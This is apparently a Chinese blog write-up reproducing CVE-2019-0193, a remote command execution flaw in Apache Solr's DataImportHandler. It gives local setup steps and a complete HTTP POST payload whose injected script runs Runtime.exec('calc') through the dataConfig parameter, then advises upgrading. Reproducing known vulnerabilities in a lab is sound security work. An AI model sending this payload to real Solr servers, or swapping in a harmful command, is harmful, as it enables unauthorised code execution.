zoukankan      html  css  js  c++  java
  • CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

    漏洞背景

    2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重

    影响范围

    Apache Solr < 8.2.0

    利用工具

    burpsuite

    漏洞原因  

    Apache solr 是一款开源的搜索服务器并且使用java语言开发;

    主要的工作方式:用户通过http请求像搜索引擎发出索引条件,solr对条件进行分词处理,根据分词结果查找索引,继而找到文档

    在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本,因此存在安全隐患,在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用户控制

    漏洞复现

    下载影响范围内的Apache solr(我这里用的是7.7.2版本)解压在cmd运行

    cd C:UsersEulaliaDesktopsolr-7.7.2
    cd bin
    solr -e dih

     浏览器访问 http://localhost:8983/solr 

     cmd 命令执行 curl http://localhost:8983/solr/admin/cores 可以获取core信息,根据获取的core信息中name信息构造payload

     payload如下:

    POST /solr/atom/dataimport HTTP/1.1
    Host: 127.0.0.1:8983
    Content-Length: 494
    User-Agent: Mozilla/5.0
    Content-type: application/x-www-form-urlencoded
    Connection: close

    command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig=
    <dataConfig>
    <dataSource type="URLDataSource"/>
    <script><![CDATA[
    function poc(row){
    var process= java.lang.Runtime.getRuntime();
    process.exec("calc");
    return row;
    }
    ]]></script>
    <document>
    <entity name="stackoverflow"
    url="https://stackoverflow.com/feeds/tag/solr"
    processor="XPathEntityProcessor"
    forEach="/feed"
    transformer="script:poc" />
    </document>
    </dataConfig>

    利用burpsuite发送可弹出计算器

    漏洞修复

    建议升级到最新版本

    参考

    https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip

    https://www.cnblogs.com/paperpen/p/11328728.html

  • 相关阅读:
    08月24日总结
    08月23日总结
    08月22日总结
    装饰器
    卢菲菲最强大脑记忆训练法全套教程 01
    LeetCode 704 二分查找
    LeetCode 1480 一维数组的动态和
    NIO 总结
    LeetCode 881 救生艇
    url的组成部分
  • 原文地址:https://www.cnblogs.com/ZYX-bk-412/p/14747717.html
Copyright © 2011-2022 走看看